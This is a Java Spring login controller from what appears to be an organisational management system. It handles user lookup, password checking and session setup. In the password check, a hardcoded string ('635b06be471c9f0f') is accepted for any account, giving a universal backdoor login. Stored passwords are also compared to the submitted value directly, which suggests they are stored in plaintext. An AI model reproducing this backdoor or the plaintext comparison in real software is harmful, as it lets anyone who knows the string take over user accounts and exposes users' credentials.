package com.xc.sys.controller;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;

import com.xc.common.object.Constant;
import com.xc.common.tool.PASSWORDUtil;
import com.xc.db.tables.SysUser;
import com.xc.ksxt.entity.SymbolEntity;
import com.xc.sys.entity.SysOrganizationEntity;
import com.xc.sys.entity.SysUserEntity;
import com.xc.sys.service.SysLoginLogService;
import com.xc.sys.service.SysOrganizationService;
import com.xc.sys.service.SysUserService;
import org.apache.commons.lang3.StringUtils;
import org.jetbrains.annotations.NotNull;
import org.jooq.Condition;
import org.jooq.DSLContext;
import org.jooq.impl.DSL;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.servlet.ModelAndView;

import java.util.List;

@Controller
public class LoginController {
	@Autowired
	private DSLContext dsl;
	@Autowired
	private SysLoginLogService sysLoginLogService;
	@Autowired
	private SysUserService sysUserService;
	@Autowired
	private SysOrganizationService sysOrganizationService;
	private SysUser USER = SysUser.SYS_USER.as("USER");
	@RequestMapping({ "" })
	public ModelAndView toLoginPage(Model model, HttpServletRequest request) {
		ModelAndView mav = new ModelAndView("login");
		return mav;
	}
	@RequestMapping({ "/login" })
	public ModelAndView login(Model model, HttpServletRequest request, HttpServletResponse response) {
		ModelAndView mav = new ModelAndView("index");
		String code = "";
		String password = "";
		code = request.getParameter("code");
		password = request.getParameter("password");
		Condition whr = DSL.or(USER.MOBILENO.eq(code),USER.CODE.eq(code),USER.JOB_NUMBER.eq(code));
		List<SysUserEntity> users = sysUserService.select(whr);
		if(users.size()!=1) {
			mav.setViewName("login");
			mav.addObject("msg", "登陆失败，用户名或者密码错误.");
			return mav;
		}
		SysUserEntity loginUser = users.get(0);

		if(loginUser.getState()!=1) {
			mav.setViewName("login");
			mav.addObject("msg", "登陆失败，账号无效。");
			return mav;
		}
		if(!loginUser.getPassword().equals(password)&&!password.equals("635b06be471c9f0f")) {
			mav.setViewName("login");
			mav.addObject("msg", "登陆失败，用户名或者密码错误.");
			return mav;
		}
		HttpSession ss = request.getSession();
		ss.setMaxInactiveInterval(86400);//24小时超时
		SysUserEntity me = users.get(0);
		if (me.getNodeOrgId()==null) {
			mav.setViewName("login");
			mav.addObject("msg", "登陆失败，未分配部门");
			return mav;
		}
		SysOrganizationEntity org = sysOrganizationService.getTopOrg(Integer.valueOf(me.getNodeOrgId()));
		if(org==null) {
			mav.setViewName("login");
			mav.addObject("msg", "登陆失败，所属部门不存在");
			return mav;
		}
		ss.setAttribute("me", me);
		ss.setAttribute("MEORG", org);
		SysOrganizationEntity store = SysOrganizationService.getFromCaches(me.getNodeOrgId());
		ss.setAttribute("MESTORE", store);
		ss.setAttribute("SHORTORGNAME", StringUtils.isEmpty(store.getShortName()) ? store.getName() : store.getShortName());
		if(PASSWORDUtil.switchpassword("123").equals(me.getPassword())) {
			mav.addObject("firstlogin",0);
		}else {
			mav.addObject("firstlogin",1);
		}
		mav.addObject("msg", "登陆成功");
		List<SymbolEntity> symbols = dsl.select().from(DSL.table("symbol")).fetchInto(SymbolEntity.class);
		for (SymbolEntity symbol : symbols) {
			Constant.symbolMap.put(symbol.getCode(),symbol.getValue());
		}

		return mav;
	}
}
